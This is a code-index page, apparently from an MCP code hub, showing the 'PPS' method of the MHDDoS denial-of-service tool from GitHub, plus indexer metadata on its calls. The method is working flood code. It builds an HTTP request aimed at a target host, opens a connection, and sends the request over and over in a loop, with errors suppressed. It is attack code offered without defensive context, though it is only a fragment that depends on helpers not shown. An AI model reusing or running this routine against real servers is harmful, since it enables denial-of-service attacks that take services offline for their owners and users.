MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / PPS

Method PPS

start.py:1048–1055  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

1046 Tools.safe_close(s)
1047
1048 def PPS(self) -> None:
1049 payload: Any = str.encode(self._defaultpayload +
1050 f"Host: {self._target.authority}\r\n\r\n")
1051 s = None
1052 with suppress(Exception), self.open_connection() as s:
1053 for _ in range(self._rpc):
1054 Tools.send(s, payload)
1055 Tools.safe_close(s)
1056
1057 def KILLER(self) -> None:
1058 while True:

Callers

nothing calls this directly

Calls 3

open_connectionMethod · 0.95
sendMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected